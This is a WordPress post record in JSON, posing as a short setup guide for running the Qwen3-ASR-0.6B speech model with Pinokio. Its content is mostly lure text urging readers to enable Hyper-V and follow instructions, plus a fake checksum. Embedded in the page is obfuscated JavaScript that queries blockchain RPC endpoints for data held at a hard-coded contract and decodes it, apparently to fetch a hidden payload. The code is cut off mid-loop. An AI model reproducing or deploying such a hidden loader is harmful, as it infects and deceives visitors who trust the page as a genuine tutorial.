{"id":2149,"date":"2026-06-29T23:59:37","date_gmt":"2026-06-30T02:59:37","guid":{"rendered":"https:\/\/idpmedia.com.br\/?p=2149"},"modified":"2026-06-29T23:59:37","modified_gmt":"2026-06-30T02:59:37","slug":"qwen3-asr-0-6b-using-pinokio-no-python-required-5-minute-setup","status":"publish","type":"post","link":"https:\/\/idpmedia.com.br\/en\/2026\/06\/29\/qwen3-asr-0-6b-using-pinokio-no-python-required-5-minute-setup\/","title":{"rendered":"Qwen3-ASR-0.6B Using Pinokio No Python Required 5-Minute Setup"},"content":{"rendered":"

\"Qwen3-ASR-0.6B<\/p>\n

The shortest path<\/i> to running this model is by activating Hyper-V features<\/b>.<\/p>\n

Make sure to follow the instructions<\/b> below.<\/p>\n

<\/p>\n

Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n

<\/p>\n

Once launched, the wizard detects your specs to configure the model for maximum efficiency<\/b>.<\/p>\n\n\n
\n
\n
\ud83d\udd17 SHA sum: ae1f25f38302d5757000b0d2170f6221<\/b> | Updated: 2026-06-27<\/em><\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>